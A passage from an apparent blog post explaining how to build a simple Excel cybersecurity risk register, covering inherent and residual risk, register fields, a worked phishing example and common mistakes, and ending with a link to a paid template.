awareness training.</p><p>Without documenting this, the organization may know that phishing exists, but it may not clearly see:</p><p>· who owns the risk,</p><p>· how serious the risk is,</p><p>· what controls are in place,</p><p>· and whether the residual risk is acceptable.</p><p>That is why even a simple Excel-based risk register can be very useful.</p><h3>The Difference Between Inherent Risk and Residual Risk</h3><p>One of the most important ideas in risk assessment is the difference between <strong>inherent risk</strong> and <strong>residual risk</strong>.</p><p><strong>Inherent risk</strong> is the level of risk before applying controls.</p><p>For example, if a company has VPN access and weak password policies, the inherent risk of brute-force attacks may be high.</p><p><strong>Residual risk</strong> is the remaining risk after controls are applied.</p><p>If the company adds MFA, strong password policies, and monitoring for failed login attempts, the risk may decrease.</p><p>This difference is important because it shows whether the controls are actually helping.</p><p>A good risk assessment should not only list risks. It should also show how controls reduce those risks.</p><h3>A Simple Structure for Cybersecurity Risk Assessment</h3><p>A practical cybersecurity risk assessment can include the following fields:</p><p><strong>Risk ID</strong><br>A unique identifier such as RISK-001, RISK-002, RISK-003.</p><p><strong>Asset</strong><br>The system, data, account, server, or process that needs protection.</p><p>Examples:</p><p>· Employee credentials</p><p>· Company files</p><p>· Database servers</p><p>· VPN access</p><p>· Web applications</p><p><strong>Threat</strong><br>The possible event or attack.</p><p>Examples:</p><p>· Phishing</p><p>· Malware</p><p>· SQL injection</p><p>· Brute-force attack</p><p>· Insider threat</p><p>· DDoS attack</p><p><strong>Risk Description</strong><br>A short explanation of what could happen.</p><p><strong>Consequences</strong><br>The possible business or security impact, such as data breach, downtime, unauthorized access, or data loss.</p><p><strong>Risk Owner</strong><br>The person or team responsible for managing the risk.</p><p><strong>Probability and Impact</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ykSHaQ_WOYwXOXkYTXmzzg.png" /></figure><p>This helps calculate the risk level. You can keep it simple by using values such as:</p><p>· Very Low</p><p>· Low</p><p>· Medium</p><p>· High</p><p>· Very High</p><p><strong>Controls</strong><br>The security measures that reduce the risk.</p><p>Examples:</p><p>· MFA</p><p>· Backups</p><p>· Endpoint protection</p><p>· WAF</p><p>· Network segmentation</p><p>· Security awareness training</p><p>· Monitoring</p><p><strong>Residual Risk</strong><br>The risk level after controls are applied.</p><h3>Example: Phishing Risk</h3><p>Let’s say the asset is <strong>employee credentials</strong>.</p><p>The threat is <strong>phishing emails</strong>.</p><p>The risk is that employees may enter their login details into a fake website, allowing attackers to access company systems.</p><p>The possible consequences are:</p><p>· credential theft,</p><p>· unauthorized access,</p><p>· data breach,</p><p>· financial loss,</p><p>· reputational damage.</p><p>The inherent risk may be high because phishing is common and can be very effective.</p><p>Controls can include:</p><p>· Multi-Factor Authentication,</p><p>· email filtering,</p><p>· phishing awareness training,</p><p>· suspicious login monitoring.</p><p>After applying these controls, the residual risk may become medium.</p><p>This is exactly the kind of logic a risk assessment template should help you document.</p><h3>Why Excel Is Still Useful for Risk Assessment</h3><p>There are many professional GRC tools, but Excel is still one of the best starting points.</p><p>Why?</p><p>Because it is simple, flexible, and easy to understand.</p><p>For students, junior cybersecurity analysts, small teams, and people building portfolio projects, an Excel risk assessment template can be a very good first step.</p><p>It allows you to practice important cybersecurity concepts such as:</p><p>· asset identification,</p><p>· threat mapping,</p><p>· probability and impact scoring,</p><p>· inherent risk,</p><p>· residual risk,</p><p>· control ownership,</p><p>· risk ownership.</p><p>You do not need to build a complex system at the beginning. You need a clear structure.</p><h3>Common Mistakes in Risk Assessment</h3><p>One common mistake is listing risks without assigning an owner.</p><p>If nobody owns the risk, nobody manages it.</p><p>Another mistake is writing very generic risks such as “cyber attack” without explaining the specific scenario.</p><p>A better version would be:</p><p>“Phishing emails may lead to employee credential theft and unauthorized access to internal systems.”</p><p>Another mistake is forgetting residual risk.</p><p>Controls do not remove every risk completely. They reduce the risk. The remaining level should still be documented.</p><h3>Final Thoughts</h3><p>Cybersecurity risk assessment does not have to be perfect at the beginning.</p><p>The important thing is to start documenting risks in a structured way.</p><p>A simple template can help you think more clearly about:</p><p>· what needs protection,</p><p>· what can go wrong,</p><p>· how serious it is,</p><p>· who is responsible,</p><p>· what controls are needed,</p><p>· and what risk remains after controls.</p><p>If you are learning cybersecurity, building a portfolio project, preparing for a junior analyst role, or trying to create a simple risk register for practice, I created a ready-to-use Excel template for cybersecurity risk assessment.</p><p>You can find it here:</p><p><a href="https://atlassec.gumroad.com/l/risk">https://atlassec.gumroad.com/l/risk</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff2c14184c00" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>